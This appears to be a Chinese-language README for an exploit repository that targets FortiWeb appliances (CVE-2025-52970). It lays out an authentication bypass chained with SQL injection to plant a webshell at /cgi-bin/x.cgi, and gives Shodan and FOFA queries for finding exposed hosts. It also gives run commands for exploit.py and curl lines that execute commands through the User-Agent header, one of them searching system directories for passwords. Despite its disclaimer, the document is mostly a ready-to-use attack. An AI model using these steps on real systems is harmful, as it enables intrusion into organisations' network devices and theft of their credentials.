本仓库演示了 FortiWeb 中的认证绕过,该绕过可被串联利用以实现 远程代码执行 (RCE)。
该利用程序借助一个存在漏洞的端点来注入 SQL 载荷、上传 WebShell,并通过 HTTP 标头执行命令。
⚠️ 免责声明:
本项目仅用于教育和研究目的。
请勿在您不拥有或未经明确授权测试的系统上使用本工具。
((FortiWeb)) AND port:("8443")
### FOFA
title="FortiWeb" && port="8443"
### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443
CVE:CVE-2025-52970
组件:FortiWeb Fabric API(/api/fabric/device/status)
影响:认证绕过 → SQL 注入 → WebShell 上传 → RCE
攻击向量:精心构造的 Authorization 标头 + SQL 注入
删除并创建临时 SQL 表。
分块写入 WebShell 载荷。
将 Shell 导出至 /cgi-bin/x.cgi。
上传辅助 Python 脚本以触发权限设置。
通过 User-Agent 标头发送命令来访问 WebShell。
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/
3️⃣ 与 WebShell 交互
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
